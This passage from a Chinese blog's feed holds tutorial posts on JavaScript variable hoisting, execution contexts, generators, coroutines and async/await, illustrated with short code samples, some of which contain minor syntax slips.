</div></div><div><div><div>7</div></div><div><span>//执行部分</span></div></div><div><div><div>8</div></div><div><span>show</span><span>();</span></div></div><div><div><div>9</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>Name</span><span>);</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>实际上这就是为什么可以在定义之前使用变量或者函数的原因，因为函数和变量在执行之前都提升到了代码的开头。这就叫变量提升。那这个执行之前到底是啥意思？啥就叫执行之前？</p><p>那就得提提<strong>JavaScript 代码的执行流程</strong>了。</p><p><code>一段JavaScript代码</code>&gt;&gt;<code>编译阶段</code>&gt;&gt;<code>执行阶段</code> 一段代码在被执行之前需要被 JavaScript 引擎编译，编译之后才进入执行阶段。可以看出这里的执行之前就是编译阶段。</p><p>编译阶段都做了啥事呢，经过编译阶段后，会生成两个部分：<strong>执行上下文</strong>和<strong>可执行代码</strong>，执行上下文是 JavaScript 执行一段代码时的运行环境，包括变量环境和词法环境。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210630223553880.png" alt="image-20210630223553880.png" /><figcaption>image-20210630223553880.png</figcaption></figure><p></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>show</span><span>();</span></div></div><div><div><div>2</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>Name</span><span>);</span></span></div></div><div><div><div>3</div></div><div><span>var</span><span><span> </span><span>Name</span><span> </span></span><span>=</span><span> </span><span>"AN"</span><span>;</span></div></div><div><div><div>4</div></div><div><span>function</span><span> </span><span>show</span><span>() {</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>"我出现了"</span><span>);</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>上面的<code>Name</code>和<code>show</code>函数都保存在变量环境(Viriable Eviroment)这个对象中。变量环境的样子可以简单理解为</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>VariableEnvironment</span><span>:</span></span></div></div><div><div><div>2</div></div><div><span><span>     </span></span><span>Name</span><span> </span><span>-&gt;</span><span> </span><span>undefined</span><span>,</span></div></div><div><div><div>3</div></div><div><span><span>     </span></span><span>show</span><span> </span><span>-&gt;</span><span>function</span><span><span> : {</span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>'我出现了'</span><span>)}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果调用一个函数，就会进入这个函数的执行上下文，确定函数在执行期间的 this，变量，对象，函数等。</p><blockquote><p>编译过程中对这段代码都干了什么？</p></blockquote><ul>
<li>第 1 行和第 2 行不涉及声明，所以 JS 引擎不处理</li>
<li>第 3 行是用<code>var</code>声明了变量 Name，因此 JavaScript 引擎会在变量环境中创建一个名为 Name 的属性，并且用 undefined 对其进行初始化</li>
<li>第 4 行，JavaScript 引擎发现了一个 function 定义的函数，会将函数定义存储到堆(HEAP）中去，并且在变量环境中创建一个 show 属性，这个属性指向堆中函数的位置。</li>
</ul><p>这样就生成了变量环境对象，接着 JavaScript 引擎会把声明外的代码编译成字节码对应就是可执行代码</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>show</span><span>();</span></div></div><div><div><div>2</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>Name</span><span>);</span></span></div></div><div><div><div>3</div></div><div><span><span>Name</span><span> </span></span><span>=</span><span> </span><span>"AN"</span><span>;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h4>执行阶段<a href="#执行阶段"><span>#</span></a></h4><p>得到了可执行代码之后，就按照顺序一行行执行</p><ul>
<li>执行 show 函数的时候，JavaScript 引擎在变量环境对象中查找这个函数，因为变量环境对象里存着这个函数的引用，因此 JavaScript 执行直接就出结果了。”我出现了”</li>
<li>打印 Name 信息，JavaScript 引擎在变量环境对象中查找改对象，并且此时值为 undefined，输出 undefined</li>
<li>执行第三行，把<code>"AN"</code>赋给 Name 变量，赋值后的 Name 变量属性值变为了”AN”，变量环境对象如下</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>VariableEnvironment</span><span>:</span></span></div></div><div><div><div>2</div></div><div><span><span>     </span></span><span>Name</span><span> </span><span>-&gt;</span><span> </span><span>"AN"</span><span>,</span></div></div><div><div><div>3</div></div><div><span><span>     </span></span><span>showName</span><span> </span><span>-&gt;</span><span>function</span><span><span> : {</span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>"我出现了"</span><span>)}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果代码中出现重名的变量或者函数怎么办</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>show</span><span>() {</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>"我出现了"</span><span>);</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>show</span><span>();</span></div></div><div><div><div>5</div></div><div><span>function</span><span> </span><span>show</span><span>() {</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>"出现了但是没完全出现，哎，就是玩儿"</span><span>);</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div><div><div><div>8</div></div><div><span>show</span><span>();</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在编译阶段，执行上下文阶段，先存入了第一个 show，存入第二个的时候会把第一个覆盖掉。执行阶段，然后两个 show()出来的结果就是</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210630232902812.png" alt="image-20210630232902812.png" /><figcaption>image-20210630232902812.png</figcaption></figure><p></p><p>以上就是 JavaScript 执行顺序的简单总结了。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/javascript/async-await/</id>
      <title type="text">async/await</title>
      <published>2021-08-05T00:00:00.000Z</published>
      <updated>2021-08-05T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/javascript/async-await/"/>
      <summary type="text">为了解决异步操作对于代码的可读性，避免回调地狱(很多个异步回调嵌套的请况)，JavaScript社区先后退出Promise+then和generator+co的…</summary>
      <content type="html"><![CDATA[<p>为了解决异步操作对于代码的可读性，避免回调地狱(很多个异步回调嵌套的请况)，JavaScript社区先后退出<code>Promise+then</code>和<code>generator+co</code>的解决方案，直到现在的<code>async/await</code>，也叫异步编程的终极解决方案，可以在不阻塞主线程的情况下用同步代码的写代码方式实现异步访问资源的能力，而且代码逻辑更清晰。</p>
<p>async/await的使用到的就是Generator和Promise两个技术。Promise可以看看<a href="https://juejin.cn/post/6844903488695042062" target="_blank">八段代码彻底掌握 Promise</a>，这里只写生成器概念。</p>
<section><h4>生成器(Generator)和协程<a href="#生成器generator和协程"><span>#</span></a></h4><section><h5>生成器函数相关概念<a href="#生成器函数相关概念"><span>#</span></a></h5><ul>
<li><code>function*</code>声明的函数就是生成器函数，<strong>在生成器函数内部执行代码过程中，要是遇到yield关键字，JavaScript引擎会返回关键字后面的内容给外部，并暂停该函数的执行。</strong></li>
<li><strong>可以通过<code>函数名.next()</code>方法恢复函数继续向下执行并会返回一个对象，有value和done两个属性，value是yeild后面的值，done的值是布尔值，代表生成器是否执行完毕，执行完毕就是true</strong>。</li>
</ul><p>引例</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function*</span><span> </span><span>genDemo</span><span>() {</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>"开始执行第一段"</span><span>)</span></div></div><div><div><div>3</div></div><div><span>    </span><span>yield</span><span> </span><span>'generator 1'</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>"开始执行第二段"</span><span>)</span></div></div><div><div><div>6</div></div><div><span>    </span><span>yield</span><span> </span><span>'generator 2'</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>"开始执行第三段"</span><span>)</span></div></div><div><div><div>9</div></div><div><span>    </span><span>yield</span><span> </span><span>'generator 3'</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>"执行结束"</span><span>)</span></div></div><div><div><div>12</div></div><div><span>    </span><span>return</span><span> </span><span>'generator over'</span></div></div><div><div><div>13</div></div><div><span>}</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>'main 1'</span><span>)</span></div></div><div><div><div>16</div></div><div><span>let</span><span><span> </span><span>gen</span><span> </span></span><span>=</span><span> </span><span>genDemo</span><span>()</span></div></div><div><div><div>17</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>gen</span><span>.</span></span><span>next</span><span>().</span><span>value</span><span>)</span></div></div><div><div><div>18</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>'main 2'</span><span>)</span></div></div><div><div><div>19</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>gen</span><span>.</span></span><span>next</span><span>().</span><span>value</span><span>)</span></div></div><div><div><div>20</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>'main 3'</span><span>)</span></div></div><div><div><div>21</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>gen</span><span>.</span></span><span>next</span><span>().</span><span>value</span><span>)</span></div></div><div><div><div>22</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>'main 4'</span><span>)</span></div></div><div><div><div>23</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>gen</span><span>.</span></span><span>next</span><span>().</span><span>value</span><span>)</span></div></div><div><div><div>24</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>'main 5'</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>执行结果</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210803212944644.png" alt="image-20210803212944644" /><figcaption>image-20210803212944644</figcaption></figure><p></p><p>可以看到是一段段执行的，全局代码和生成器内部代码交替执行，这就是执行器的特点，可以暂停函数的执行，也可以恢复执行。</p></section><section><h5>协程<a href="#协程"><span>#</span></a></h5><p>协程是一个比线程更加轻量的存在，是跑在线程上的任务，<strong>一个线程上存在多个协程</strong>，但是<strong>在线程上同时只能执行一个协程</strong>，<strong>若此时A协程正在执行，需要启动B协程，那么A协程就需要把主线程的控制权给B协程，此时A协程就暂停执行，B协程恢复执行，同理，也可以从B协程中启动A协程，如果从A协程中启动B协程，就把A协程称为B协程的父协程</strong>。</p><p>一个进程可以有多个线程，一个线程也可以有多个进程，协程不是被操作系统控制的，而是程序操控，好处就是性能可以提升很多，不会像线程切换那样消耗资源。</p><p>再来分析一下上面那段代码：</p><ul>
<li>首先<code>let gen = genDemo()</code>，这个时候并没有执行，实际上是创建了gen协程</li>
<li>然后执行gen.next()，当执行gen.next()的时候协程会继续执行，此时协程拿到主线程执行权开始执行</li>
<li>执行到协程中的yeild关键字的时候，协程停止执行，返回yeild ‘msg’ 中的 msg信息，并交出主线程执行权</li>
<li>当协程gen在执行期间碰到return的时候，JavaScript引擎会结束当前的协程，并把return后面的内容返回给父协程(创建他的协程)</li>
</ul><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210709100716144.png" alt="image-20210709100716144" /><figcaption>image-20210709100716144</figcaption></figure><p></p><p>​	把代码看成是一个还未播放的音乐，gen.next()和yeild相当于是播放和暂停键，return相当于关闭当前设备的播放器。</p><p>​	首先是电脑(父协程)连接了蓝牙音箱开始播放(执行代码)，到了<code>let gen = genDemo()</code>，就类似于你通过电脑把蓝牙音箱又连了一个手机(实际就是父协程创建了一个子协程)，蓝牙音箱发声(主线程)只能有一个，播放的声音相当于是主线程此时执行的代码，然后当电脑音乐播放到gen.next()(主线程执行gen.next())的时候，电脑(父协程)这边停止播放，手机(gen协程)继续播放，当手机(gen协程)播放到yeild的时候就停止手机播放，然后如果电脑还有没放完的音乐那么继续播放电脑的音乐，如果正播放手机，执行到了return，相当于断开手机和音箱的蓝牙连接了，此时只有电脑还连着音箱，如果电脑音乐还没结束就继续放电脑的音乐了。</p><p>有两个问题：</p><p>第一个，就是gen协程和父协程是在主线程上交替进行执行的，切换是通过yield和gen.next来配合完成，就像蓝牙音箱连接两个设备你没法让他们同时发声。</p><p>第二个，就是为什么gen协程可以被暂停又接着刚才执行完的代码继续执行？这是因为gen协程和父协程都是有自己独立的调用栈的，当gen协程执行到yeild的时候，JavaScript引擎会保存gen协程当前的调用栈信息，就好比你播放音乐点了暂停，下次播放还是从你暂停的地方开始放。当gen.next()的时候，JavaScript引擎会暂停父协程的执行并保存父协程的调用栈然后执行gen协程代码，就是说电脑(父协程)的播放器停了，继续播放手机(gen协程)的音乐，此时音箱播放(主线程执行)的就是gen协程的音乐(代码)。</p></section></section>
<section><h3>结合生成器函数和Promise<a href="#结合生成器函数和promise"><span>#</span></a></h3><p>结合一下这两个东西。</p><p>用fetch进行演示，fetch函数用网络请求获取资源，并且会返回一个promise对象(fetch只要不是网络故障或请求被拒绝就不会返回reject，即使响应的Http状态码是404或500 promise状态还会是fullfilled)。例如在掘金页面<a href="https://juejin.cn/%E4%B8%8B%E8%B0%83%E7%94%A8%E6%8E%A7%E5%88%B6%E5%8F%B0%E8%BE%93%E5%85%A5%E6%B5%8B%E8%AF%95%E4%B8%80%E4%B8%8B" target="_blank">https://juejin.cn/下调用控制台输入测试一下</a></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>fetch</span><span>(</span><span>'https://juejin.cn/'</span><span>).</span><span>then</span><span>(</span><span>function</span><span>(){</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>'success'</span><span>)</span></div></div><div><div><div>3</div></div><div><span>})</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>案例</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function*</span><span> </span><span>foo</span><span>(){</span></div></div><div><div><div>2</div></div><div><span>  </span><span>let</span><span><span> </span><span>response1</span><span> </span></span><span>=</span><span> </span><span>yield</span><span> </span><span>fetch</span><span>(</span><span>'https://juejin.cn/'</span><span>)</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>'response111'</span><span>)</span></div></div><div><div><div>4</div></div><div><span>  </span><span>let</span><span><span> </span><span>response2</span><span> </span></span><span>=</span><span> </span><span>yield</span><span> </span><span>fetch</span><span>(</span><span>'https://www.Anblog.top'</span><span>)</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>'response222'</span><span>)</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div><div><div><div>7</div></div><div><span>//创建gen协程</span></div></div><div><div><div>8</div></div><div><span>let</span><span><span> </span><span>gen</span><span> </span></span><span>=</span><span> </span><span>foo</span><span>()</span></div></div><div><div><div>9</div></div><div><span>//获取返回的promise对象</span></div></div><div><div><div>10</div></div><div><span>function</span><span> </span><span>getGenPromise</span><span><span>(</span><span>gen</span><span>){</span></span></div></div><div><div><div>11</div></div><div><span>  </span><span>return</span><span><span> </span><span>gen</span><span>.</span></span><span>next</span><span>().</span><span>value</span></div></div><div><div><div>12</div></div><div><span>}</span></div></div><div><div><div>13</div></div><div><span>//通过判断promise对象的状态，传入promise对象中的属性PromiseResult为response的内容输出出来</span></div></div><div><div><div>14</div></div><div><span>getGenPromise</span><span><span>(</span><span>gen</span><span>).</span></span><span>then</span><span><span>((</span><span>response</span><span>)</span></span><span>=&gt;</span><span>{</span></div></div><div><div><div>15</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>'response1'</span><span>)</span></div></div><div><div><div>16</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>response</span><span>)</span></span></div></div><div><div><div>17</div></div><div><span>  </span><span>return</span><span> </span><span>getGenPromise</span><span><span>(</span><span>gen</span><span>)</span></span></div></div><div><div><div>18</div></div><div><span>}).</span><span>then</span><span><span>((</span><span>response</span><span>)</span></span><span>=&gt;</span><span>{</span></div></div><div><div><div>19</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>'response2'</span><span>)</span></div></div><div><div><div>20</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>response</span><span>)</span></span></div></div><div><div><div>21</div></div><div><span>})</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>步骤：</p><ol>
<li>创建生成器foo函数。</li>
<li><code>let gen = foo()</code> 创建gen协程</li>
<li>创建<code>getGenPromise(gen)</code>函数，目的是执行并gen.next().value的执行结果，也就是将主线程的执行权移交gen协程的函数</li>
<li><code>getGenPromise(gen)</code>返回promise对象，然后执行执行gen协程上的fetch函数，then里传入fetch函数返回的promise对象中的response，第一个then函数执行并返回<code>getGenPromise(gen)</code>的结果给下一个then的response参数，然后再执行。</li>
</ol><p>一般情况下会把执行生成器的代码封装成一个函数，并叫这个执行生成器的函数为执行器，上面就是生成器和Promise相互配合的一个流程。不过通常我们会把执行生成器的部分封装成一个函数。</p><p>采用co框架后代码会更精简，co函数可以代替上面的执行生成器的代码，co函数也可以叫做执行器。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>co</span><span> </span><span>=</span><span> </span><span>require</span><span>(</span><span>"co"</span><span>);</span></div></div><div><div><div>2</div></div><div><span>const</span><span> </span><span>fetch</span><span>=</span><span>require</span><span>(</span><span>"node-fetch"</span><span>)</span></div></div><div><div><div>3</div></div><div><span>function*</span><span> </span><span>foo</span><span>(){</span></div></div><div><div><div>4</div></div><div><span>    </span><span>let</span><span><span> </span><span>response1</span><span> </span></span><span>=</span><span> </span><span>yield</span><span> </span><span>fetch</span><span>(</span><span>'https://juejin.cn/'</span><span>)</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>'response111'</span><span>)</span></div></div><div><div><div>6</div></div><div><span>    </span><span>let</span><span><span> </span><span>response2</span><span> </span></span><span>=</span><span> </span><span>yield</span><span> </span><span>fetch</span><span>(</span><span>'https://www.Anblog.top'</span><span>)</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>'response222'</span><span>)</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div><div><div><div>9</div></div><div><span>co</span><span>(</span><span>foo</span><span>());</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这样虽然不错了，但是还有更终极的方案就是async/await</p></section>
<section><h2>async/await<a href="#asyncawait"><span>#</span></a></h2><p>根据MDN的定义，async是一个通过异步执行并隐式返回Promise作为结果的函数。<strong>异步执行和隐式返回Promise</strong>怎么理解。</p><p>隐式返回&lt;可以看到async标记的函数执行后最终返回的是一个promise对象&gt;。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>async</span><span> </span><span>function</span><span> </span><span>foo</span><span>(){</span></div></div><div><div><div>2</div></div><div><span>  </span><span>return</span><span> </span><span>2</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>foo</span><span>()) </span><span>//Promise {&lt;fulfilled&gt;: 2}</span></div></div><div><div><div>5</div></div><div><span>foo</span><span>().</span><span>then</span><span><span>((</span><span>val</span><span>)</span></span><span>=&gt;</span><span><span>{</span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>val</span><span>))} </span></span><span>//2</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>对应Promise的写法</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>foo</span><span>(){</span></div></div><div><div><div>2</div></div><div><span>  </span><span>return</span><span> </span><span>new</span><span> </span><span>Promise</span><span><span>((</span><span>resolve</span><span>)</span></span><span>=&gt;</span><span>{</span></div></div><div><div><div>3</div></div><div><span>    </span><span>resolve</span><span>(</span><span>1</span><span>)</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>})</span></div></div><div><div><div>5</div></div><div><span>}</span></div></div><div><div><div>6</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>foo</span><span>()) </span><span>//Promise {&lt;fulfilled&gt;: 1}</span></div></div><div><div><div>7</div></div><div><span>foo</span><span>().</span><span>then</span><span><span>((</span><span>val</span><span>)</span></span><span>=&gt;</span><span><span>{</span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>val</span><span>)}) </span></span><span>//1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>await，async函数返回的是一个Promise对象，结合下面代码体会一下await是什么</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>async</span><span> </span><span>function</span><span> </span><span>foo</span><span>() {</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>1</span><span>)</span></div></div><div><div><div>3</div></div><div><span>    </span><span>let</span><span><span> </span><span>a</span><span> </span></span><span>=</span><span> </span><span>await</span><span> </span><span>100</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>a</span><span>)</span></span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>2</span><span>)</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div><div><div><div>7</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>0</span><span>)</span></div></div><div><div><div>8</div></div><div><span>foo</span><span>()</span></div></div><div><div><div>9</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>3</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>结果是: 0 - 1 - 3 - 100 - 2</p><p>结合一下之前说的协程的概念,  此时外部环境就是父协程,  而foo就是子协程</p><ol>
<li>
<p>首先执行了<code>console.log(0)</code></p>
</li>
<li>
<p>然后父协程将线程执行权交给了foo协程,  由于foo 函数被async标记过,   JavaScript 引擎会保存当前的调用栈等(相当于有个独立的调用栈)信息， foo协程执行了<code> console.log(1)</code>,  此时遇到了await 100,  此时foo协程创建了一个promise</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>let</span><span><span> </span><span>promise_</span><span> </span></span><span>=</span><span> </span><span>new</span><span> </span><span>Promise</span><span><span>((</span><span>resolve</span><span>,</span><span>reject</span><span>)</span></span><span>=&gt;</span><span>{</span></div></div><div><div><div>2</div></div><div><span>  </span><span>resolve</span><span>(</span><span>100</span><span>)</span></div></div><div><div><div>3</div></div><div><span>})</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>可以看到在 executor 函数中调用了 resolve 函数，JavaScript 引擎会将该任务提交给微任务队列.</p>
<p>然后JS引擎会暂停当前foo协程的执行, 将主线程的控制权交给父协程执行,   同时将这个新建的promise_对象返回给父协程 ,  <strong>此时父协程还有一件事, 就是用promise_.then中的回调函数来监控promise_状态的改变</strong></p>
</li>
<li>
<p>此时父协程就接着执行<code>console.log(3)</code>,  并且打印出来3 ,  随后父协程即将执行结束,  在结束前,   就会检查是否有微任务,  开始执行微任务队列,  微任务队列中有一个<code>resolve(100)</code>的任务等待执行,     Promise_执行之后的触发promise_.then 中的回调函数</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>promise_</span><span>.</span></span><span>then</span><span><span>((</span><span>value</span><span>)</span></span><span>=&gt;</span><span>{</span></div></div><div><div><div>2</div></div><div><span>   </span><span>//回调函数被激活后将主线程控制权交给foo协程，并将vaule值传给协程</span></div></div><div><div><div>3</div></div><div><span>})</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>该回调函数被激活以后，会将主线程的控制权交给 foo 函数的协程，并同时将 value 值传给该协程。foo 协程拿到主线程执行权后，会把得到的 value 值赋给了变量 a，然后 foo 协程继续执行后续语句<code>console.log(2)</code>，执行完成之后，将控制权归还给父协程。</p>
<p>这么看来await就是promise.then</p>
</li>
</ol><p>总结一下: await之后的行为实际上就是让子协程创建了一个promise.resolve(),  然后返回给了父协程微任务队列,   当父协程要执行微任务队列的时候,  触发promise_.then的回调函数,   然后在回调函数中将执行权和返回值都交给子协程 .</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>let</span><span><span> </span><span>p1</span><span> </span></span><span>=</span><span> </span><span>new</span><span> </span><span>Promise</span><span><span>((</span><span>resolve</span><span>)</span></span><span>=&gt;</span><span>{</span></div></div><div><div><div>2</div></div><div><span>  </span><span>resolve</span><span>(</span><span>1</span><span>)</span></div></div><div><div><div>3</div></div><div><span>})</span></div></div><div><div><div>4</div></div><div><span>let</span><span><span> </span><span>p2</span><span> </span></span><span>=</span><span> </span><span>new</span><span> </span><span>Promise</span><span><span>((</span><span>resolve</span><span>)</span></span><span>=&gt;</span><span>{</span></div></div><div><div><div>5</div></div><div><span>    </span><span>resolve</span><span>(</span><span>2</span><span>)</span></div></div><div><div><div>6</div></div><div><span>})</span></div></div><div><div><div>7</div></div><div><span>async</span><span> </span><span>function</span><span> </span><span>fun</span><span>(){</span></div></div><div><div><div>8</div></div><div><span>  </span><span>let</span><span><span> </span><span>a</span><span> </span></span><span>=</span><span> </span><span>await</span><span> </span><span>foo</span><span>()</span></div></div><div><div><div>9</div></div><div><span>  </span><span>let</span><span><span> </span><span>b</span><span> </span></span><span>=</span><span> </span><span>await</span><span> </span><span>bar</span><span>()</span></div></div><div><div><div>10</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>a</span><span>)</span></span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>b</span><span>)</span></span></div></div><div><div><div>12</div></div><div><span>}</span></div></div><div><div><div>13</div></div><div><span>fun</span><span>()</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>async 返回一个promise对象</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>async</span><span> </span><span>function</span><span> </span><span>fun</span><span>(){</span></div></div><div><div><div>2</div></div><div><span>  </span><span>return</span><span> </span><span>1</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>let</span><span><span> </span><span>f</span><span> </span></span><span>=</span><span> </span><span>fun</span><span>()</span></div></div><div><div><div>5</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>f</span><span>)</span></span></div></div><div><div><div>6</div></div><div><span>fun</span><span>().</span><span>then</span><span><span>((</span><span>data</span><span>)</span></span><span>=&gt;</span><span>{</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>data</span><span>)</span></span></div></div><div><div><div>8</div></div><div><span>})</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210715170230898.png" alt="image-20210715170230898" /><figcaption>image-20210715170230898</figcaption></figure><p></p><p>async和await</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>let</span><span><span> </span><span>a1</span><span> </span></span><span>=</span><span> </span><span>new</span><span> </span><span>Promise</span><span><span>(</span><span>resolve</span><span>){</span></span></div></div><div><div><div>2</div></div><div><span>  </span><span>resolve</span><span>(1)</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>let</span><span><span> </span><span>a2</span><span> </span></span><span>=</span><span> </span><span>new</span><span> </span><span>Promise</span><span><span>(</span><span>resolve</span><span>){</span></span></div></div><div><div><div>5</div></div><div><span>  </span><span>resolve</span><span>(2)</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div><div><div><div>7</div></div><div><span>async</span><span> </span><span>function</span><span> </span><span>fun</span><span>(){</span></div></div><div><div><div>8</div></div><div><span>  </span><span>let</span><span><span> </span><span>a</span><span> </span></span><span>=</span><span> </span><span>await</span><span><span> </span><span>p1</span><span>;</span></span></div></div><div><div><div>9</div></div><div><span>  </span><span>let</span><span><span> </span><span>b</span><span> </span></span><span>=</span><span> </span><span>await</span><span><span> </span><span>p2</span><span>;</span></span></div></div><div><div><div>10</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>a</span><span>)</span></span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>b</span><span>)</span></span></div></div><div><div><div>12</div></div><div><span>}</span></div></div><div><div><div>13</div></div><div><span>fun</span><span>()</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>可以看出来这样的代码把异步代码写成了同步的感觉</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>async</span><span> </span><span>function</span><span> </span><span>fun1</span><span>(){</span></div></div><div><div><div>2</div></div><div><span>  </span><span>let</span><span><span> </span><span>data</span><span> 